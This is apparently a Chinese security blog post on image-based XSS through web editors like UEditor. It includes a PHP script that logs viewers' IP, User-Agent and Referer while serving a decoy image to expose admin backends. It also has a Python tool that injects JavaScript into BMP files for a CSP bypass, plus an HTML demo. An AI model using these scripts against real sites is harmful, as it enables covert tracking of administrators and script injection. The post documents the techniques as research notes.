在使用类似ueditor这样的网页编辑器时，由于编辑器本身支持的源码编辑功能，如果过滤的不够完善，攻击者可以通过写入js来执行脚本语句，达成存储型xss的效果。
当然，如今的编辑器安全方面做的都已经相当不错，能够自动触发的恶意脚本已经是很难写入了，剩下还比较容易受控的，就是点击触发的外部链接了。前段时间，我就在尝试利用了外部链接进行csrf时，小伙伴提醒我可以尝试一下图片xss的方法，该方法和恶意外部链接的手段差不多，就是在编辑器引入外部图片的src地址时，修改为一个恶意地址，由于图片自动加载的特性，审核人员在查看该页面时会总动触发该请求，如果该请求是一个有效的csrf,就可以在无声无息间~~~~。
感觉不算是一个漏洞，实际的利用还是要结合其他诸如csrf漏洞，而且由于是在img标签的src里，如果请求的页面里有什么js脚本也不会被执行，所以顶多只能搞搞get类型的csrf,所以貌似危害不是很大，也不太好处理。后来小伙伴又提出了jsonp劫持的概念，表示没有研究过，貌似和csrf差不大多。
为了探究它还能做什么，我稍稍研究了一番。简单记录一下：
#0x01 CSRF
csrf不需要细说了，使用条件比较苛刻，不过我在某站后台里确实找到get型的csrf利用，可以删除除管理员外的其他用户数据。
#0x02 打后台地址
在别人博客上看到有提到可以用这种图片xss拿别人后台，没看到具体的方法，不过博主提到是用Php伪造了一张图片，且这种方法无法拿cookie，只能获取后台、浏览器、IP地址之类的信息。
没看到代码只好自己寻思，无法拿cookie说明并没有同源的脚本执行，后台地址、浏览器、IP地址之类其实就是Header头，而header头信息是访问请求里自带的，然后用Php脚本提取出来并记录。
想到就做，用自己蹩脚的Php实现了一下：
<?php
$keys=array('HTTP_REFERER','REMOTE_ADDR','HTTP_USER_AGENT');
//file_put_contents('result',$_SERVER);
$headers='';
foreach($_SERVER as $key=>$value){
if(in_array($key,$keys)){
$headers.='|'.$key.':'.$value;
//echo $headers;
}
}
file_put_contents('result',$headers."\n",FILE_APPEND);
echo file_get_contents('test.jpg');
?>
为了不引起怀疑，还特地返回了一张图片。
测试了下效果（<img src="http://192.168.124.129:8888/test.php"/>），你打开网页看到图片的同时，对方已经拿到你的地址了。
如果你当前是在管理员页面做审核，你的管理员地址就暴露了。
不过有些网站做了meta referer设置，referer就抓不到了。
#0x03 另一种情景的图片执行js
在绕过csp时可能会用到，如果网站阻止了外域js，可以通过上传一个可执行Js语法的图片来造成xss。
大佬的代码:
#!/usr/bin/env python2.7
import os
import argparse
def injectFile(payload,fname):
f = open(fname,"r+b")
b = f.read()
f.close()
f = open(fname,"w+b")
f.write(b)
f.seek(2,0)
f.write(b'\x2F\x2A')
f.close()
f = open(fname,"a+b")
f.write(b'\xFF\x2A\x2F\x3D\x31\x3B')
f.write(payload)
f.close()
return True
if __name__ == "__main__":
parser = argparse.ArgumentParser()
parser.add_argument("filename",help="the bmp file name to infected")
parser.add_argument("js_payload",help="the payload to be injected. For exampe: \"alert(1);\"")
args = parser.parse_args()
injectFile(args.js_payload,args.filename)
主要是通过修改文件结构让图片变成符合js语法的文件。
<html> <head><title>Opening an image</title> </head> <body> <img src="logo.bmp"\> <script src= "logo.bmp"> </script> </body> </html>
尝试后， 图片既可以显示又可以执行js语句。原因似乎是因为浏览器在进行content种别判断时，不单考虑content_type,还会根据content的内容进行判断。
ps:有些图片无法成功，原因是注释掉的中间图片本身内容破坏了会破坏js结构。
#0x04参考
https://blog.csdn.net/qq_27446553/article/details/45498489
http://xdxd.love/2015/04/10/csp%E7%BB%95%E8%BF%87/
https://woj.app/1785.html
https://blog.csdn.net/microad_liy/article/details/6733847
